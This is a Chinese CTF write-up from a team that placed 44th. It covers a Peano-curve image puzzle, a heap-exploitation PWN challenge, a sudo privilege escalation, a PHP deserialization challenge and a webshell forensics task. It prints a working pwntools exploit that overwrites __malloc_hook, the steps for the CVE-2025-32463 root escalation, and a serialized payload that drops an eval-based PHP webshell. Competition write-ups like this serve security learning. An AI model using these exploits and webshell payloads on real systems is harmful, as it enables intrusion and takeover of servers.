第二届铸剑杯初赛 WriteUP
第二届铸剑杯预选赛 WriteUP
队伍: Im_@tEa_P0t
第44名
Misc
降维打击
解了半天这个题当然要写wp了
赛时未解出,0解,此为wp自解释+复现
foremost提取一下

解一下这张光栅图,解完后发现一堆提示



根据雪花1.26维度,可知道雪花分型
你为什么是一个平面,面对应着二维
根据豪斯多夫维度可以知道一维曲线的皮诺亚曲线(希尔伯特曲线)是二维的
所以可以知道这里的考点是希尔伯特曲线
asdw正好是代表方向的一套字母
使用L-系统解析
你会发现:九个小格的“进出方向组合”只需要两种模板就能描述,比如:
- 一类是从“下边进,右边出”那种弯法;
- 另一类是从“左边进,上边出”的那种弯法;
- 其它格子可以通过对这两类做旋转/镜像得到。
于是我们定义:
- 模板 1 叫
X - 模板 2 叫
Y
X X Y
X Y Y
X Y Y

现在把这条“宏观曲线”翻译成 turtle 指令:
X/Y:在当前小格里画一条小曲线(以后会继续递归展开)- 每从一个格的中心走到下一个格的中心:相当于
F一步(在更大的尺度上) - 因为下一块的入口方向不一定和前一块出口方向对齐,所以在两个格之间要先旋转
+或-90°
于是你会得到一个模式类似:
X F + Y F Y + F X - F - X F X F X - F Y F Y +
把空格去掉,就是:
XF+YFY+FX-F-XFXFX-FYFY+
这就是 X 的产生式:
'X': 'XF+YFY+FX-F-XFXFX-FYFY+'
含义可以这样读(非严格分块,只是帮助你理解):
XF:在第一个小格画X模板,然后向前走到第二个小格;+YF:左转 90°,在第二个小格画Y模板,再走到第三个小格;Y+F:在第三个小格画Y,再左转,走……X-F-:在某个小格画X,前进一步,再右转……XFXFX:连续几个小格用了X模板,中间穿插F连接……FYFY+:最后几个小格里用Y模板,结束时左转……
同理可得Y的产生式
'Y': '-XFXF+YFYFY+F+YF-XFX-FY'
是针对 “Y 型模板所在的 3×3 情况” 做同样的事:
首先
-:一开始要先右转一下,让 Y 型整块的入口方向对齐;中间同样交替出现
X、Y、F、+/-,表示在这个 3×3 大块里怎么走完九个小格;最终保证:
- 整体入口/出口方向符合 Y 模板的定义;
- 和相邻块拼在一起时是连续的。
我们发现**dwawddss模式**可以生成一个二维码
rules = {
'X': 'XF+YFY+FX-F-XFXFX-FYFY+',
'Y': '-XFXF+YFYFY+F+YF-XFX-FY'
}
# 角度增量值(单位:度),控制 "+/-" 指令的旋转幅度
delta = 90
# 海龟每次前进的格点步长
forward_len = 1
def lindenmayer(n: int) -> str:
"""根据迭代次数生成 Peano 曲线的 L-system 指令串。"""
axiom = 'X'
for _ in range(n):
axiom = ''.join(rules.get(c, c) for c in axiom)
return axiom
def turtle_to_points(cmd: str) -> List[Tuple[int, int]]:
"""将指令串转换为海龟绘图经过的网格点序列。"""
x, y = 0, 0
angle = 0 # 初始朝向为 0°(向右)
points = [(x, y)]
for c in cmd:
if c == 'F':
# 根据当前角度决定移动方向
if angle == 0:
x += forward_len
elif angle == 90:
y += forward_len
elif angle == 180:
x -= forward_len
elif angle == 270:
y -= forward_len
points.append((x, y))
elif c == '+':
angle = (angle + delta) % 360
elif c == '-':
angle = (angle - delta) % 360
return points
写出完整的生成代码
"""使用 Peano 曲线对被重排的像素进行解扰。
流程概述:
1. 通过 L-system 规则生成 Peano 曲线的海龟指令串;
2. 将指令串转换成海龟在网格上的访问顺序(像素坐标序列);
3. 按照该顺序依次写回被打乱的像素,从而恢复原始图像。
"""
from PIL import Image
from tqdm import tqdm
from typing import List, Tuple
rules = {
'X': 'XF+YFY+FX-F-XFXFX-FYFY+',
'Y': '-XFXF+YFYFY+F+YF-XFX-FY'
}
# 角度增量值(单位:度),控制 "+/-" 指令的旋转幅度
delta = 90
# 海龟每次前进的格点步长
forward_len = 1
def lindenmayer(n: int) -> str:
"""根据迭代次数生成 Peano 曲线的 L-system 指令串。
Args:
n: L-system 的迭代深度,越大曲线越精细,对应像素数量呈 9 的指数增长。
Returns:
str: 展开后的指令串,仅包含 F、+、- 和中间变量符号。
说明:每次迭代会对当前串的每个符号应用产生式,
因此字符串长度呈指数增长,注意不要设置过大的 n 以免内存不足。
"""
axiom = 'X'
for _ in range(n):
# 对当前串中每个字符应用产生式,未匹配的字符保持原样
axiom = ''.join(rules.get(c, c) for c in axiom)
return axiom
def turtle_to_points(cmd: str) -> List[Tuple[int, int]]:
"""将指令串转换为海龟绘图经过的网格点序列。
Args:
cmd: 由 F/+/- 组成的海龟指令串,F 表示前进,+/- 表示转向。
Returns:
List[Tuple[int, int]]: 海龟按顺序访问到的格点坐标列表。
Note:
这里使用离散网格坐标系,海龟从 (0,0) 起步,朝向随角度变量变化。
该序列在后续会被用作图像像素的写入顺序。
"""
x, y = 0, 0
angle = 0 # 初始朝向为 0°(向右)
points = [(x, y)]
for c in cmd:
if c == 'F':
# 根据当前角度决定移动方向
if angle == 0: x += forward_len
elif angle == 90: y += forward_len
elif angle == 180: x -= forward_len
elif angle == 270: y -= forward_len
points.append((x, y))
elif c == '+':
# “+” 表示左转 delta 度
angle = (angle + delta) % 360
elif c == '-':
# “-” 表示右转 delta 度
angle = (angle - delta) % 360
return points
def peano(n: int) -> List[Tuple[int, int]]:
"""生成指定阶数的 Peano 曲线点序列。
这是一个组合函数:先通过 L-system 获得指令串,再转为网格点,
从而得到长度为 9^n + 1 的访问路径,供像素重排使用。
"""
cmd = lindenmayer(n)
points = turtle_to_points(cmd)
return points
def decrypt(rearranged_path: str, out_path: str, order_n: int = 6):
"""按照 Peano 曲线的访问顺序重排像素,恢复原始图像。
Args:
rearranged_path: 被打乱像素的输入图片路径。
out_path: 输出还原后图片的保存路径。
order_n: Peano 曲线的阶数,默认 6,对应 3^6 × 3^6 的网格覆盖。
工作流程:
1. 打开乱序图片并提取像素;
2. 根据 order_n 生成一条覆盖整张图像的 Peano 路径;
3. 依次将乱序像素按路径写回,过程中处理坐标系的上下翻转。
"""
rearr_img = Image.open(rearranged_path).convert("RGB")
w, h = rearr_img.size
order = peano(order_n) # 生成像素重排顺序
original = Image.new("RGB", (w, h))
pixels = list(rearr_img.getdata()) # 将图像像素展开为列表,方便顺序访问
for i, (x, y) in tqdm(enumerate(order), total=len(order)):
# order 的长度可能大于像素数量(路径包含起点),因此需判界
if i >= len(pixels):
break
# Pillow 的坐标原点在左上角,需要翻转 y 轴才能对应海龟坐标
original.putpixel((x, h - y - 1), pixels[i])
original.save(out_path)
if __name__ == "__main__":
decrypt("00000000.png", "flag.png")
查看flag.png

扫码得到flag

flag{b9f98204ff63b60d41b30f2a028c96c5}
Game
我勒个超级玛丽奥
这个游戏是个幌子,可以关掉

切换到workspace2,右键桌面,打开终端,访问flags即可
PWN
我不吃牛肉
可以申请任意大小chunk

free未置空,uaf漏洞
任意大小堆块申请



堆溢出

经典检查+运行


from pwn import *
# 封装菜单操作
def do_malloc(io, idx, size):
io.sendlineafter(b':', b'8')
io.sendlineafter(b':', str(idx).encode())
io.sendlineafter(b':', str(size).encode())
def do_free(io, idx):
io.sendlineafter(b':', b'15')
io.sendlineafter(b':', str(idx).encode())
def do_edit(io, idx, size, data):
io.sendlineafter(b':', b'18')
io.sendlineafter(b':', str(idx).encode())
io.sendlineafter(b':', str(size).encode())
io.sendlineafter(b':', data)
def do_show(io, idx):
io.sendlineafter(b':', b'20')
io.sendlineafter(b':', str(idx).encode())
# 连接目标程序和加载 libc
p = process('./pwn')
libc = ELF('./libc.so.6')
# 布局堆块
do_malloc(p, 0, 0x500)
do_malloc(p, 1, 0x10)
do_malloc(p, 2, 0x60)
# 泄露 libc 基址
do_free(p, 0)
do_show(p, 0)
p.recvline()
leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
base = leak - 0x3c4b78
# 准备 fastbin 攻击
do_free(p, 2)
target = base + 0x3c4b10 - 0x23
do_edit(p, 2, 0x8, p64(target))
do_malloc(p, 0, 0x60)
do_malloc(p, 1, 0x60)
# 覆写 __malloc_hook 为 one_gadget
one_gadget = base + 0x453a0
payload = b'a' * 0x13 + p64(one_gadget)
do_edit(p, 1, 0x13 + 8, payload)
# 触发 malloc -> one_gadget
do_malloc(p, 2, base + 0x18ce57)
p.interactive()
InfoSEC
最近还好吗
连接目标SSH服务,ls查看系统版本、当前目录文件,寻找可能的漏洞入口或可执行程序

运行可疑脚本 sudo-chwoot.sh
# 先查看脚本内容(可选,了解利用逻辑) cat sudo-chwoot.sh # 赋予执行权限并运行(核心步骤) chmod +x sudo-chwoot.sh ./sudo-chwoot.sh
成功通过 CVE-2025-32463 漏洞提权到 root 用户

# 最常用的两个路径,直接执行 cat /flag cat /root/flag,得到最终flag

WEB
浅析PHP原生类
<?php
/**
* 头部声明:设置响应内容类型为纯文本,避免浏览器解析乱码
* 与原代码保持一致,不影响payload生成逻辑
*/
header("Content-Type: text/plain");
/**
* 核心类:install
* 完全保留原始类结构(类名、私有属性、构造方法)
* 目的:确保序列化时的类标识、属性顺序、访问控制符与原代码一致,避免payload结构变化
*/
class install {
// 私有属性:与原代码完全一致,序列化时会包含属性名和值
private $username;
private $password;
/**
* 构造方法:初始化username和password属性
* @param mixed $username 传入的用户名/核心数据(可是字符串、对象等)
* @param string $password
*/
public function __construct($username, $password) {
$this->username = $username; // 存储核心数据(shell代码或Until对象)
$this->password = $password; // 固定填充值,无实际业务意义
}
}
/**
* 辅助类:Until
* 完全保留原始类结构(类名、公有属性)
* 目的:用于构造文件操作相关参数,与原代码的Until实例结构一致
*/
class Until {
// 公有属性:存储文件操作的核心参数,与原代码属性名完全一致
public $a; // 要实例化的类名(此处为"ZipArchive",用于文件写入)
public $b; // 目标文件路径(此处为"install.lock",用于触发安装锁定逻辑)
public $c; // 文件打开模式(此处为8,对应ZipArchive::O_WRONLY | ZipArchive::O_CREAT)
}
/**
*/
$untilInstance = new Until();
$untilInstance->a = "ZipArchive"; // 指定要调用的文件操作类(ZipArchive支持文件读写)
$untilInstance->b = "install.lock"; // 目标文件名称(与原代码一致,用于触发安装校验)
$untilInstance->c = 8; // 文件打开模式:可写+创建(数值8为固定常量映射,与原代码一致)
/**
* 2. 构造最终payload数组:与原代码$payload结构完全一致
* 数组元素顺序、每个install实例的参数均未修改,仅合并冗余中间变量(原$middle/$breaker)
*/
$payload = [
// 第一个元素:对应原代码$writer,传入一句话shell作为核心数据
new install(
'<?php @eval($_POST["cmd"]);?>', // 一句话木马:通过POST参数"cmd"执行任意代码
"pad"
)
// 第二个元素:对应原代码$breaker,传入Until实例触发文件操作逻辑
new install(
$untilInstance, // 传入配置好的Until实例
"pad"
)
];
/**
* 3. 序列化+URL编码:生成可直接提交的payload
* - serialize($payload):将数组及内部对象序列化为字符串,保留所有属性和类信息
* - urlencode():对序列化字符串编码,避免特殊字符(如+、&)导致传输失效
* 可直接通过GET参数?data=xxx提交
*/
echo urlencode(serialize($payload));
?>


CDF
可恶的木马竟然伪装成我的朋友
1.最早的banner.jpg和banner_home.jpg返回分别是 43424,52917
在ex180223这一天,发现banner_home.jpg
183.62.9.42这个ip 对banner_home.jpg进行访问的返回数据包发生了变化,有可能插入过shell


时间应该确认为2018-2-23
ip:183.62.9.42
js目录下发现一个jsp文件,大概率为shell,之前全是静态js、gif文件

搜索183.62.9.42,逐步确认攻击者分别访问了table.jsp\en.jsp\2.jsp

拼接flag
flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}
